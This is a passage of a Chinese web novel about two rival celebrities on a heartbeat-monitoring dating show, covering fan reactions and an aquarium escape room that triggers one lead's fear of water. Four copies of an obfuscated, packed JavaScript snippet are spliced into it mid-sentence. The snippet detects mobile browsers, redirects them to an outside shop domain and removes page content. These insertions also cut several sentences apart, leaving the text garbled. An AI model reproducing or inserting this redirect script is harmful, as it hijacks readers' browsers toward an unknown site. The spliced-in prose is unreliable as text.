现场响起庆祝音效,导演带着一股探究的眼神,微笑打趣,“傅老师很了解嘛!怎么猜到的?” 傅予沉眨眨眼,表情纯然,“不知道,就是觉得……应该是这里。”他还指了指自己手腕相同的位置,“感觉哥哥这里,好像藏着秘密。” 江洺下意识摸了摸自己手腕,那些藏在灰暗记忆中的往事,应该只有他那个父亲、以及天音娱乐的一些人知道才是。 傅予沉又知道了些什么?知道了多少? 这就是所谓的……他有准备? 江洺没来由的有些恼怒,或许还有,一丝被窥见过往的狼狈。 【狭窄的出租屋,歇斯里地的争吵,以及……被视为累赘、又或者是工具的他,那个称之为原生家庭的地方。】 他深吸了一口气,压下了翻涌的记忆,平复了心跳。 -- 【傅予沉最怕的动物是:蜘蛛vs鸽子】 看到“鸽子”两个字,江洺眼神微动。 他想起很久以前,一次电影发布会上,窗外突然落下一群鸽子,傅予沉当时正在发言,声音几不可查地顿了一下,虽然立刻恢复如常,但指尖微微扣紧了话筒。 当时台下没人注意,但坐在侧方的江洺,刚好看到了他眼中一闪而过的、近乎孩童般的惊惶。 莫名的,与某一时刻的他很像。 呵,真是……没用的弱点。 这个发现曾让江洺莫名愉悦了很久。 他带着一种‘抓住你把柄’的微妙心情,选了【鸽子】。 亮牌: 江洺:【鸽子】 傅予沉明显愣了一下,表情变得有些复杂和柔软,【鸽子】 “……哥哥,这个我真的没跟人说过。” ——三连一致! 全场寂静。 这已经不能用“巧合”或“做过功课”来解释了。 江洺张了张嘴,却发现任何解释都苍白无力。 他难道要说,“因为我讨厌你,所以观察了你每一个细微的破绽”吗? 傅予沉的反应却出乎所有人意料。 他没有追问,只是看着江洺,那双总是盛满直白喜欢的眼睛里,第一次泛起了一种更深、更复杂的情绪,像是感动,又像是……一种被看穿脆弱后的奇异安心。 他轻声说,几乎像在自言自语,“原来……你比我想象的,还要了解我更多。” 江洺? 看着电子立牌上傅予沉再次攀升的心率,江洺有些无奈,这狗东西又脑补了些什么? 他真没有特意关注,真的就……仅仅是巧合。 -- 导演丁明志瞥了眼电子屏上起伏的心率,有些意外这两个人竟然能达到如此的默契。 其实,在开始录制之前,他是更相信两人是死对头,为了某些舆论的原因才不得不参加他这档综艺的。 当然,他无意探究那些隐藏在“合约”之下的东西,他的目的只有一个——做个爆款综艺,《致命心跳》。 那些心动时,恐惧时,撒谎时,爱慕时……微妙时刻的共振,会比情话更动人。 而他要做的,就是把这些挖掘出来,展现给观众。 丁明志摸了摸下巴,这么默契的话,先导片总感觉差了点意思啊……想到节目开始前,天音娱乐那边递来的信息,他从旁边扯了一张纸,刷刷落笔。 【约会时更想尝试:冲浪vs蹦极】 冲浪? 看到这两个字,江洺眼神微暗,他之前几乎从不参加水上运动,这是众所周知的。 丁明志的这道题目,是想要试探什么? 还是,有人看不得他好,提前透露了什么? 江洺来不及思考更多,只本能的选择了“蹦极”。 -- 傅予沉显得有些游移不定,在他悄悄温习的那些过往的视频中,似乎从来没有见过江洺冲浪的样子。 冲浪……听起来就阳光、自由,还能和江洺一起站在板上,多好。 他脑子里已经浮现出,或许是从哪个广告里看来的,两人并肩冲浪的画面,风吹起头发,笑容灿烂。 想和哥哥一起冲浪! 倒计时,“三、二、一!” 亮牌! 江洺:【蹦极】 傅予沉:【冲浪】 ——不一致! “哈哈,终于有一次不一样了”,丁明志笑的不坏好意,“下面是惩罚环节,请抽签选择是真心话,还是大冒险!” 江洺好巧不巧抽到了——大冒险:VR体验冲浪挑战。 还好,只是VR体验。 江明暗自松了口气。 -- 先导片录制结束的当晚,一场酝酿已久的舆论风暴,由《致命心跳》节目组的官宣正式点燃。 「致命心跳官微VIP」 #致命心跳第三季官宣#冰川与烈焰碰撞,心跳指数爆表!@江洺VIP@傅予沉VIP携手开启恋爱狩猎游戏,明晚八点先导片解锁心跳陷阱! 官微海报上,背对背的两人被一道激烈的心电图波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259324|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形连接,文案极具煽动性。 而进一步引爆这一切的,是两人的转发。 「江洺VIP」 #致命心跳第三季官宣# 接受一场关于心跳的挑战。 数据不说谎,我们拭目以待。@傅予沉VIP 「傅予沉VIP」 #致命心跳第三季官宣# 和你一起的心跳,不需要剧本。 哥哥,心跳数据里,会有你想要的答案吗?@江洺VIP 全网炸了。 -- 江洺刷着手机,看着那条转发,竟然有些‘果然如此’的淡定了。 虞绍在旁边急得团团转,“我的祖宗,你说句话啊!哪怕点个赞呢?现在外面都说傅予沉是单方面真爱告白,你是冷酷事业批利用他!” “说什么?”江洺毫无形象地翻了个白眼,“说他不是告白,是脑子撞坏了?还是说我其实比他更了解他怕鸽子,是因为我看过他出丑?” 他闭上眼,脑海里反复闪回着今天的画面——傅予沉精准说出他习惯时的“直觉”,VR冲浪时握过来的那只手,还有……看到自己选择“被全世界遗忘”时,那瞬间黯淡的眸光。 太真了。 真到让他开始恐惧。 如果这都是演的,那傅予沉的演技已经登峰造极。 如果……不是演的呢? 毫无缘由的‘爱’更加令他恐慌。 因为,他从小到大,从未被毫无理由的爱过,包括父母亲人。 这些年,他拼命练习声乐,练习舞蹈,争取每一次的舞台都是最完美的,甚至一度到了有些疯魔的程度,不过是为了给自己,也给粉丝,一份继续“爱”他的理由。 仿佛只有这样,他才能心安理得被‘爱’。 -- 另一边,先导片录制完毕,就立刻被扫地出门的傅予沉,他窝在自己公寓的沙发里,一遍遍重播着先导片里江洺所有的片段。 江洺答对题目时下意识的挑眉,被吓到时瞬间的僵硬,以及VR冲浪开始时,反握住自己手的、那短暂的几秒。 【不对劲,哥哥在害怕……冲浪?或者说,水?】 即便是失去了一些记忆,傅予沉还是下意识做出了判断。 【可是,为什么?】 顾淮的电话打了进来,带着些难以掩饰的疲惫,“发微博之前,能否请您三思而后行呢?舔狗人设对你有什么好处吗?” 傅予沉把手机拿远了些,目光仍停留在屏幕上江洺的侧脸上。 “三思了啊。”他轻声说,嘴角不自觉地弯起一个细微的,真实的弧度,“可心跳在说,我愿意。” “行!你就作吧,我等着你记忆恢复那天,看你怎么收场!” “诶,学长,等等!”傅予沉喊了一声,阻止了顾淮挂断电话。 “怎么?反悔了?” “不是,能……帮我查查哥哥的……过去吗?”傅予沉的视线从视频上挪开,沉吟片刻,“算了,不用了。” “唉,不是,我说你……在搞什么鬼?”顾淮有点暴躁。 傅予沉叹气,江洺不会喜欢他偷偷调查他的…… -- 窗外,城市的霓虹闪烁。 关于#致命心跳#、#沉洺心动#、#心跳不需要剧本#的热搜词条在榜单上疯狂刷新,阅读量以亿为单位飙升。 这场以《致命心跳》为名的“危险游戏”,才刚刚拉开序幕。 13. 致命心跳 【心电图连在一起!心是碎的但重组了!官博在暗示破镜重圆/恨海情天!】 【“不需要剧本”,傅予沉在公开告白!他在对全世界说这是真的!】 【只有我觉得傅予沉转发文案的画风和江洺完全不一样吗?一个像官方团队发的,一个直接的像小号告白。这是没统一口径?重大疑点!】 【预告片里江洺的心率飙升是在看傅予沉之后,但傅予沉飙升是在江洺瞪他之后……这反应不对吧?更像是被凶了反而开心?他们在玩一种很新的游戏?】 【有没有人觉得,傅予沉现在的“傻白甜”人设,太像"为爱服务"的设定了?剧本痕迹是不是在这里?】 【我压五毛,这是“宿敌变情人”的经典晋江剧本。现在越否认,将来打脸越狠。坐等真香。】 【听说《致命心跳》是天价片酬请动二位,平台下了血本。两人在录制现场气氛微妙,不像演的。】 【傅予沉车祸后性情大变,团队对“失忆”相关话题非常敏感,江洺团队则强调“专业态度”,懂的都懂。】 【啊,一生爱做阅读理解的国人,真的没有人像我一样纯看脸吗?】 【也是,管他恨海情天,还是破镜重圆,这两张脸放一起,哪怕是do恨,我也爱看!】 【哈哈,楼上的,此处禁止连吃带拿……】 【划重点,这两位都是综艺首秀哦!】 【啧啧,彼此的第一次诶!更期待了怎么回事。】 【话说两家的粉丝呢?之前撕b的时候,不是战斗力很强的吗?】 【江洺十年老粉,麻了,在观察是不是真爱中……怕误伤真嫂子。】 【傅予沉粉丝,不敢动,怕被打脸……】 【拔剑四顾心茫然啊,心茫然!来玩个‘我们一起来找茬’的游戏吧?】 【沉洺一生,不逆不拆,你家才是嫂子!】 【切,你懂什么,年上的训诫感不香吗?你家才是嫂子!】 【哈哈哈,果然不愧是多年“死对头”粉,掉点火星子,都能燃起来哈。 】 【bushi,你们两家打了这么多年……就快进到争体位了?】 …… 【不管怎么样,节目组赢麻了】 【这热度,其他综艺馋哭了】 【不管真假,我追定了!】 -- 先导片果不其然起到了预期的效果,一直持续到到节目录制这天。 看到了一同抵达的江洺和傅予沉,导演丁明志还笑眯眯的,他的视线从导播的大屏上挪开,言简意赅,“第一期任务,密室大逃脱,好好表现。” 说完,就示意工作人员给他们戴上了眼罩,然后引导到了停在路边的一辆车上,江洺甚至没来得及看另外两组嘉宾一眼。 视觉被剥离的瞬间,江洺感觉自己的听觉瞬间敏感起来,他听到了车辆启动的声音,听到了节目组工作人员调试设备的声音,也听到了坐在他身旁,傅予沉清浅的呼吸声。 按照设定,这是一款探究恋爱中“真情假意”的综艺,节目组主打的噱头“心跳不会撒谎,一起看透喜欢的TA”。 常驻嘉宾有6位,虽然都是以“情侣”的名义来参加综艺的,但是其中真情实意的有几位,就不好说了。 节目组也利用了这一点,制造了更多的噱头。 对于观众来说,这些‘情侣’之间的关系是暂时隐藏的,他们需要和观察室的嘉宾一起,分析他们这些人在节目中的表现,分辨哪些是真情,哪些是假意,然后参与微博投票,增加话题讨论度,赢得节目周边。 当然,是真还是假,取决于节目录制结束后各位嘉宾自己的选择,假的可以锤成真的,真的也可以默默分手,变成假的。 导演组只负责观察、分析,甚至放出一些真真假假的剪辑片段。 这样讨论度有了,观众满意,嘉宾满意,投资方满意……甚至以后这些人的情感问题,有什么风吹草动,还可以来一波草蛇灰线,人人都做大侦探。 不得不说,这个综艺的设定,符合它S+的定位。 即便没有他和傅予沉参加,想必也能做成爆款。 而他们的加入,只是让这款综艺爆的早了些。 江洺自动带入自己和傅予沉目前的定位——“合约情侣”,轻轻松了口气,节目组给他们留了三个月的缓冲余地。 -- “哥哥,你在想什么?” 傅予沉的声音突然响起,江洺的心率微微波动了一下,而后又恢复了平静,“什么都没想。” “哼,说谎!”傅予沉轻哼了一声,带着点骄傲的笃定,“哥哥肯定在想我!” “闭嘴。” ——滴,江洺手腕上的心率适时发生了一声预警,提示瞬时心率波动超过20bpm。 节目组旁白声音响起,“新来的朋友们,现在我将以江老师的表现为例,讲述我们节目的规则。” “江老师的第一次心跳波动,可能是被声音突然吓到的自然反应,也可能是被说中了心事……这时,我们就要结合第二次心跳的反应来分析……” “第二次心跳波动,应当是‘恼羞成怒’。”节目观察嘉宾的声音适时响起。 “所以,第一次心跳是什么,你们有答案了吗?”旁白声音带着引诱,开始了广告互动时间,“扫描屏幕下方二维码,参与节目互动,赢嘉宾签名、节目周边等大奖哦!” ……江洺无语片刻,果然还是放松早了,他反驳道,“你们这是搞突然袭击,不讲武德啊?就不能我是易惊吓体质吗?被吓了一次,又被吓了一次吗?” 随车的小组分镜导演不好意思的笑了笑,“哈哈,冤有头,债有主,都是丁导的意思哈……” 说完“免责协议”,分镜导演继续说道,“先导片拍摄期间,二位一共赢得了1890枚心动币,本期节目主题是《密室大逃脱》,可以花费心动币购买相关信息哦!” “什么价格?”傅予沉好奇。 “500心动币一次场外求助机会。” “哥哥什么意见?”虽然带着隔光眼罩,傅予沉还是下意识地侧头‘看’向江洺方向,“我都听哥哥的!” 江洺思考片刻,有些迟疑,“可以在后面录制期间再决定吗,你们不会坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259325|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地起价吧?” “哈哈,这肯定不会,本期节目录制期间都有效,童叟无欺。” -- 十来分钟的车程很快结束,江洺先被引导下了车,傅予沉后下车,双手搭在他的肩膀上。 在工作人员的引导下,他们走进了一间有些空旷的房间,带着些许不同于外界的‘潮湿’气息,江洺心中有了些不祥的预感,他深吸了一口气,努力使自己平静下来,是室内,节目组肯定会考虑到嘉宾的人身安全,应当不会有大量的“水体”。 紧接着,他与傅予沉被安排背对背坐着,两人的双手被放到了背后……捆绑了起来。 节目组工作人员的脚步声渐渐远去。 房间安静了下来。 旁白提示音响起,“下面,各位嘉宾可以取下眼罩了。” 江.手脚都被捆绑了的.洺…… 【我看你这是在为难我!】 身后傅予沉却已经窸窸窣窣地行动了起来,显的十分熟悉流程的模样,片刻之后,他有些挫败的叹了口气,“哥哥,肩膀借我用下。” 不等他回应,就先感觉傅予沉微微侧身,把头靠在他的肩膀上,蹭了蹭,温热的呼吸瞬间靠近,而后又倏然远离。 傅予沉似乎……很顺利地取下了眼罩。 江洺想了想,准备如法炮制,却听傅予沉先开了口,“哥哥,抬一下头。” 他下意识抬头,节目组给的眼罩遮光效果十分好,眼前是一片纯然的黑暗,四周没有一点声响,他的听觉,比在车上的时候,更加敏锐了几分。 他听到傅予沉靠近的声音,听到了他的呼吸……甚至是,那像是有点急促的心跳。 下一刻,覆盖在江洺脸上的眼罩,被傅予沉‘叼’了起来。 视线骤然明朗。 江洺的感觉一股冷意袭来,久远的记忆在大脑中翻涌,他的身体顾不得‘应激’这过于亲密的距离,就先被另外一种‘恐惧’覆盖。 ——这是一座废弃的深海主题水族馆。 幽蓝的灯光,巨大的破损水箱投射出扭曲晃动的光影,空气潮湿冰冷,弥漫着鱼腥和铁锈味。 旁白的声音适时响起,“任务一:找到三份‘钥匙碎片’,拼合后打开通往下一个区域的闸门。限时60分钟。” 闸门在身后“咔哒”一声,是锁死的声音,让江洺的心脏也跟着一沉。紧接着,带着幽深恐怖味道的背景音响起,那是低沉循环的,模仿鲸鸣的诡异声效,和听起来非常奇怪的钢琴曲。 眼前是延伸向黑暗的,灌满幽蓝光影的走廊。 不仅仅是水,还有无处不在的……关于“海”的设定,开始让他感觉喉头紧缩。 他吞了口口水,却发现那股紧绷感没有消退,他下意识摸了摸口袋,那里空空如也。 今天化妆的时候,他忘了带……他常用的润喉糖。 身旁,是傅予沉,这个几天前,还是他“死对头”的男人。 他抬了抬手,似乎在某一瞬间,想要触碰身旁唯一的“热源”,却倏然想到什么,只摸了摸自己另外一只手腕上的旧伤,强自镇静道,“有什么线索?” 14. 深海回响一 傅予沉正在观察周围的环境,没有注意到江洺的异常,只在听到他的询问之后,指着地上一条湿漉漉的拖痕,“哥哥,你看,线索是不是往那边?” 他倒是镇定。 江洺压下心头不适,强迫自己进入“工作状态”。 恢复视觉之后,两人很快就看到了挂在墙壁上的剪刀,合力拖动身下的椅子,拿到剪刀,顺利解开了身上的绳索。 两人一路沿着傅予沉发现的痕迹往前走,江洺伸手松了松自己的领口,轻轻吸了一口气,目不斜视地往前走,尽量控制自己的视线不要落在两侧的水族箱上。 大约走了几分钟之后……地上的拖痕在接近走廊深处的,排水管道处消失了。 排水管道的连接处有些变形,隐约可以听到内里有个悬吊的硬物,在水流的冲刷下,时不时碰到管壁发出叮咚的响声。 看来,第一个碎片藏在这个排水管道里,需要打开连接处的阀门,再伸手进排水管道,找到相应的机关,取下那枚“钥匙碎片”。 江洺看着那黑黢黢的、泛着油光的管口,胃里一阵翻腾,下意识后退了半步。 “我来。”傅予沉挽起袖子,拧动阀门,然后手臂毫不犹豫地探了进去,“还好,里面好像是个挺简单的榫卯机关”。 摸索了几分钟,傅予沉就成功取出碎片,却在收回手时,几滴冰冷的水珠溅到了江洺手背上。 江洺却仿佛受到什么惊吓般,猛地缩手,后背撞在了冰冷的水箱玻璃上,发出一声闷响。 “砰”。 “对不……”傅予沉的道歉卡在喉咙里,他看见了江洺瞬间苍白的脸,和那双盯着他身后几乎凝滞的眼睛,那不是嫌弃,是……恐惧。 “哥哥,你怎么了?”他瞥到了江洺的心率监视器,因为刚才的惊吓,从75飙升到了95,在寂静中发出清晰的“滴滴”预警。 他顺着江洺的目光,看向了他的背后。 -- 随着第一个碎片的取出,在傅予沉的背后墙壁上悄然亮起了一片幽蓝的灯光。 江洺第一时间看到了,那是一个巨大的废弃水族箱。 他们方才并不是走在什么走廊里,而是行走在巨大水族箱与墙壁之间的空隙里。 江洺感觉有些喘不过气来,那个水族箱长近十米,占满了几乎整面墙壁,顶端连接着天花板,看设计应该是属于鲸、鲨等大型水生动物的展区。 却在离地半米高的地方像是被什么东西从内部撞开了,裂开了一个巨大的孔洞…… 随着第一份“钥匙碎片”的取出,那个水族箱的四角开始有水流注入。 静默无声中,水族箱的水位不断在以肉眼可见的速度上升,相信要不了多久,多的水就会通过那个空洞,倾泻出来。 江洺因为自己脑海里模拟的画面,更加烦躁了几分,他别开脸,努力镇定下来,“少废话,快找下一个。” -- 紧接着,他们在一处需要攀爬的通风管道前找到了第二个碎片的位子。 管道上方,一个破旧的水箱正在缓慢地渗水,滴滴答答,在脚下汇成一小滩。 “踩着我的背上去。”傅予沉蹲了下来,语气没有迟疑。 “不用……” “哥哥,”傅予沉回过头,幽蓝的光映在他脸上,那眼神专注而坚持,没有平时的依赖或笑意,竟有种不容置疑的力度,“信我一次。” 江洺僵持了两秒。 头顶渗水的声音越来越密集,显然,如果一个钥匙碎片对应一处注水点的话,这里会是第二处……现在他们需要做的,就是,与“水流”赛跑。 江洺闭上眼,踩上傅予沉的背。 傅予沉稳稳起身,就在江洺指尖触到碎片的刹那—— 哗啦! 上方水箱的裂缝终于崩开,一股冷水倾泻而下,直冲江洺头顶! 江洺的大脑一片空白,下意识闭上了双眼。 却发现,预期的冰冷没有到来。 傅予沉迅速接住了因为身体本能应激,而跌落的他,将他紧紧护在怀里,同时迅速转身。 大部分冷水,结结实实地浇在了傅予沉的背上。 水声停止,狭小的空间里,只剩下两人交错的、急促的呼吸声。 江洺被傅予沉完全圈在怀里,鼻尖抵着他湿透的衣襟,能感受到对方胸膛下,那颗心脏正沉重而快速地跳动着——和他自己狂乱的心跳,在逼仄的空间里几乎共振。 ——滴!滴!滴! 两人的心率监视器,同时发出尖锐的,持久的警报。 屏幕上,数字疯狂跳动,双双突破110,并排闪烁着红光。 傅予沉松开他一点,低头查看,湿发贴在额前。 他看了眼自己腕上的数字,又看了眼江洺的,然后,抬起头,对上了江洺惊魂未定、复杂至极的目光。 他忽然笑了,“看,哥哥。” “你不必害怕,我可以保护好你。” 看着那双澄澈的,写满笃定的眼瞳,江洺的心再次猛烈地跳动了起来,这一瞬,他竟有点分不清是恐惧,还是心动了。 又或许,仅仅是简单的‘吊桥效应’。 -- 他们很快发现了第三枚碎片,在靠近角落的一个娃娃机里,娃娃机上落满了灰尘,显然是废弃已久。 江洺的第一反应是,要通过“夹娃娃”的方式,取出钥匙碎片,可是他们找了一圈,也没能发现任何适配娃娃机的“游戏币”。 脚下的地面已经有了一层浅浅的积水,不远处的排水口还不停的有水注入,虽然知道这只是在录制节目,并不会有危险,但江洺的心却难以遏制的焦虑起来,他的脸色愈发苍白,额角却泅出了一层薄汗。 傅予沉四处转了一圈,也是一时半刻没有灵感,他看向了固定在房间角落的摄像头,轻声问江洺,“要不,我们购买一次游戏提示?” 如果仅仅有他自己的话,他相信再仔细找找,肯定能发现线索,但江洺的情况有些不同寻常,他担忧地看了眼江洺,却又明确看出了江洺的内心抗拒。 ——那像是,一种遭遇了重大创伤之后,身体的自我保护机制。 不愿意面对,甚至不愿意对任何人再次提及。 又或者,江洺只是不想在他面前,或者受在镜头下“示弱”。 傅予沉又想起自己在晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259326|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄看手机里珍藏的视频时,看到自己说给江洺扔漏气游泳圈的可恶样子,就恨不得半夜起来给自己两巴掌。 自己以前真不是东西啊。 可是那样的自己,哥哥也曾经爱过吗? 傅予沉又恢复了些许信心。 -- 江洺完全没有注意到傅予沉复杂变幻的神色,耳边是注水口“哗啦”水声,还有背景音乐中,毫无规律地奇异的“鲸鸣”。 他又看了眼娃娃机中的棉花娃娃,正是‘虎鲸’的形象。 音乐?! 江洺深吸一口气,强迫自己冷静下来,单手食指轻扣自己的腕侧,片刻后神色一动,蹲下身,输入了娃娃机的密码,“724541”。 “叮”提示音响起,“密码正确”。 江洺迅速拿出了里面的碎片,与傅予沉一起,将钥匙碎片贴合在了大门上的凹槽处。 ——滴,密码正确。 伴随着提示音的,是缓缓打开的大门。 江洺闭了闭眼,深深吸了一口气,平缓着那股无法自控的身体反应。 而在他们身后,墙壁上的倒计时,仅仅过去了15min。 大门打开,内里是个更为广阔的空间,带着些疯狂意味的电子音响起,“欢迎来到‘深海回想’海洋馆!” -- 【哦豁,我说怎么没有一点背景故事,合着前面这关仅仅是‘入场券’么,期待住了!】 【卧槽,发生了什么?】 【我需要课代表,怎么这么快就解开?】 【哈哈,节目组也蒙了吧……我看旁边还准备了一些雨靴、雨衣之类的道具,哥哥们根本没用上,笑死!】 【第二个碎片也跳关了吧,旁边的墙壁上有个迷宫……看起来像是需要通过解开迷宫,通过虹吸作用将水族箱的水,引导到上面的破旧水箱里,然后才能拿到碎片。】 【谁能相信这是死对头第一次合作啊,这么默契!】 【是啊,傅哥那个下意识的转身,帅爆了!偶像剧也就这样了吧……】 【哈哈哈,我悟了,第三个碎片,那诡异的鲸鸣是干扰项,背景音乐才是谜面。】 【是吗?我刚才又倒回去听了一遍,什么都没听出来。】 【笑死,你和江哥能是一个水平吗?】 -- 直到这时,旁白工作人员似乎才回过神来,声音再次响起,“恭喜江洺、傅予沉成功完成第一项任务!任务奖励500心动币。” 江洺的脸色缓和了几分,看了眼傅予沉几乎被冷水浸透的后背,沉吟片刻,看向布置在角落里的摄像头,“喂喂,听的到吗?可以申请换个奖励吗?” 旁白工作人员沉吟片刻,似乎在紧急沟通,而后有些犹豫,“您先说说看?” “申请先换个衣服,再进入下一个环节。” 节目组似乎也考虑到了后续任务的难度,以及嘉宾的健康状况,很爽快的答应了,“可以,稍等。” 本来站在一旁,脚尖无聊地点着地面,四处张望的傅予沉瞬间站直了身子,看向江洺的眼神带着灼灼亮光。 ——他关心我!他果然超爱我! 15. 深海回响二 幽蓝色的光影在空气中缓慢流动,江洺深吸了一口气,摸出了一颗刚刚换衣服的时候,从虞绍那里拿过来的润喉糖,剥开糖纸,含在了嘴里。 熟悉的味道传来,江洺的喉结动了动,感觉胃里翻腾的感觉平缓了点。 这时,他才有余力去打量目前所处的空间。 这是一处比之刚才更为广阔的空间,像是一个废弃的表演池。 他站在干涸的中央表演池边缘,强迫自己不去看那些在阴影里泛着冷光的池壁。 空气里有股陈年的独属于海水的咸腥味,混合着铁锈和消毒水的气息。 “哥哥,这里有个控制台。”傅予沉的声音从左侧传来。 江洺循声望去,见他正蹲在那个半嵌入墙体的老旧操作台前,手指轻轻拂过积灰的按钮面板。 操作台上方挂着一块破碎的玻璃板,后面隐约能看见泛黄的“表演流程图”残片。 江洺深吸一口气,走了过去。 【合同,敬业,完成任务】,他在心里默念三遍,【你可以克服的,江洺,你可以的!】 除了恐惧,江洺也生出一股子无奈与愤怒来,只要他一天不能痊愈,就总会有烦人的家伙拿这件事做文章。 从前,是他那个父亲,试图拿捏他这个弱点“驯服”他。 后来,他父亲,把他“卖”给了天音,连带着他的“弱点”一起,企图让他“乖”一点,永远受他们的控制。 甚至于,连失忆前的傅予沉,都拿“漏气的游泳圈”刺激过他。 他已经习惯了,这个圈子,“示弱”从来不会带来怜悯,只有源源不断的,变本加厉的试探,与嘲讽。 “咔嚓”一声,江洺咬碎了口里的润喉糖,深吸了一口气,强迫自己冷静下来。 -- 控制台的指示灯突然闪烁了一下,与此同时,悬挂在表演池上方的老旧音响发出“刺啦”的电流声,一个经过失真处理的男声在空旷的空间里回荡。 “欢迎来到‘深海回响’海洋馆……想要离开,就要遵守这里的规则。第一步:重现辉煌。” 话音落下,操作台正上方的墙壁突然亮起一块屏幕,是那种老式显像管显示器的质感,画面布满雪花点,但隐约能看出是一头虎鲸的轮廓。 “看来要玩个游戏。”傅予沉仰头看着流程图,“这上面有步骤……‘入场、致意、跃水、顶球、谢幕’。每个步骤对应控制台上的按钮和拉杆。” 江洺控制自己把注意力集中在解密上。他凑近看那块破碎的流程图,玻璃裂缝正好从“跃水”那个图标中间穿过,让图案变得模糊不清。 “拉杆A和按钮3应该是‘入场’。”傅予沉已经动手了,他拉动最左侧的锈蚀拉杆,操作台发出“嘎吱”的呻吟。 屏幕上,虚拟虎鲸的轮廓向前移动了一小段。 江洺的目光却落在流程图角落的一行小字上:“每个步骤间隔1min,误差少于10s,方可触发下一环节”。 他皱眉,“可能需要两个人同时操作。” 傅予沉抬头看了看另外一边的角落,毫无悬念的发现了另外一个陈旧的操作台。 “那哥哥来在这边?”傅予沉侧过身,给他让出位置,“这个步骤需要精确计时,我去对面那边,可以吗?” 江洺没说话,只是盯着屏幕上缓慢移动的像素点。 他的余光瞥见表演池底部——那里有一片深色的水渍,不知是渗漏还是多年前留下的痕迹,喉结不自然地滚动了一下。 操作开始了。 傅予沉将拉杆B推起时,屏幕上鲸鱼仰头,虚拟水花溅起,完成了屏幕上入场动作。 老旧音响都会同步播放出对应的音效,观众的惊呼、水浪声、训练员的哨音。 江洺盯着屏幕上虎鲸的动作,在背景音的干扰下,默默在心中读秒,他盯着那个轨迹,手指悬在标着“致意”的红色按钮上方。 就是现在,他按下按钮。 按钮变绿,意味着操作成功。 紧接着,轮到了傅予沉。 …… 直到最后,屏幕上的鲸鱼完成了一个完整的顶球动作,像素球飞向空中。 然后,整个场馆活了,数百人同时鼓掌、欢呼、吹口哨的立体音效,从四面八方涌来,真实得让人头皮发麻。 江洺下意识环顾四周,那些黑暗中的观众席座位仿佛真的坐满了人。 紧接着,头顶传来机械运转的轰鸣。 江洺猛地抬头,表演池正上方的穹顶,那些他原本以为是装饰的金属喷口,此刻正缓缓展开。 细密的水雾从喷口洒落,在幽蓝的灯光下折射出千万点微光。 起初只是薄雾,但很快——"哗啦",某个喷口突然加大了出水量,劈头盖脸浇了下来。 江洺僵住了,心理上他知道,细小的水雾是预告,他应该立刻让开的,但他的四肢像被灌了铅,钉在原地,水珠顺着他的额发滑落,流过眉骨,滴进领口。 冰冷,太冰冷了。 那种湿漉漉的触感唤醒的不仅仅是皮肤的记忆,还有更深处的、骨髓里的东西。 -- 母亲牵着他的手,潮水漫过脚踝,她说:“洺洺,看,多漂亮。” 海水是灰色的,天空也是灰色的。 水漫到膝盖了。 …… “哥哥!” 一只手突然抓住他的手腕,力道大得他感觉手腕上那处本不该疼痛的,陈年旧伤似乎泛着疼,他被那股力量拽着向后踉跄了两步,撞进一个温热的胸膛。 傅予沉不知何时已经挡在了他和那片水雾之间,水珠顺着傅予沉的发梢滴落,落在江洺的手背上。 江洺触电般抽回手。 “你……”他的声音哑得厉害。 傅予沉没说话,只是用那双湿漉漉的眼睛看着他,眼神里没有责怪,也没有探究,只有一种纯粹的、近乎困惑的担忧。 他抬起手,似乎想碰碰江洺的脸,但在半空中停住了,转而指向控制台。 “你看。” 水雾渐渐停了,控制台中央的一个抽屉自动弹开,发出沉闷的“咔哒”声。 江洺强迫自己移开视线,走向控制台。 抽屉里有两样东西,一本用塑料膜包裹的硬皮笔记本,以及一个老旧褪色的驯兽哨,金属部分已经生出绿锈。 他先拿起哨子。 很轻,放在掌心冰凉。 -- 傅予沉拿起了笔记本,他翻开塑料膜,第一页是娟秀的字迹。 【林渊的观察日志·其一 日期:1998.7.12 今天阿刻罗俄斯完成了第一个完整的指令链,当我吹响特定的音调,它就会跃出水面,触碰那个红色的浮球。 它做对了,百分之百准确。 那种感觉很难形容,当你发出指令,而另一个生命精准地回应你。 像是弹钢琴时按下琴键,音符如约响起。 不,比那更美妙。 音符没有意识,但阿刻罗俄斯有,它选择听从我。 我站在池边,它浮在水面,黑色的眼睛望着我。 我在它的瞳孔里看见自己的倒影,很小,很清晰。 那一刻我知道——我创造了一种链接,独一无二的链接。 他们都说虎鲸是海洋里的狼,群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 